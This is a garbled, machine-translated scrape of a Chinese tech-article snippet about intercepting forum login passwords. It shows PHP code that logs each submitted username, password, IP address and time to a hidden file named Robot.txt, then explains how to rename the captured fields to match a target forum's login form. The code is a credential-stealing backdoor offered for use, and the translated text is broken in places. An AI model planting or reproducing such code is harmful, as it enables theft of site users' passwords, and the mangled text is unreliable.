if ($_post[loginsubmit]!=) {//Determine if the login button is clicked
$SB =user:.$_post[username].--passwd:.$_post[password].--ip:. $HTTP _server_vars[remote_addr].--. date (Y-m-d H:i:s) . RN; Connect the value of the post received to the variable $SB
Fwrite (fopen (Robot.txt,ab), $SB);} The result is written to a file
The following simple analysis, the Chinese landing page for example. Open bbs.xxx.com/login.php Right-click to view the source code, Ctrl+f Search action to find the landing form.
I just copied the key code over here.
The value behind the action is the address of the form submission, which handles the login, for example, the method for determining if the password is correct is post, so it is received with $_post.
。。。。 Powerful ellipsis ...
Account
U):
Class=input Id=pwuser Accesskey=u size=16
Name=pwuser>User name input box, note the value of its name, and $_post[username] the corresponding, so to intercept the Chinese password, need to change to $_post[pwuser]
Password
P):
Class=input id=pwpwd accesskey=p
Type=password size=16 name=pwpwd>User name input box, note the value of its name, and $_post[username] the corresponding, so to intercept the Chinese password, need to change to $_post[pwpwd]
http://www.bkjia.com/PHPjc/325278.html www.bkjia.com true http://www.bkjia.com/PHPjc/325278.html techarticle if ($_post[loginsubmit]!=) {//Determines if the login button is clicked $SB =user:.$_post[username].--passwd:.$_post[password].--ip:. $HTTP _ SERVER_VARS[REMOTE_ADDR].--. date (y-m-d h:i:s). Rn; To put a.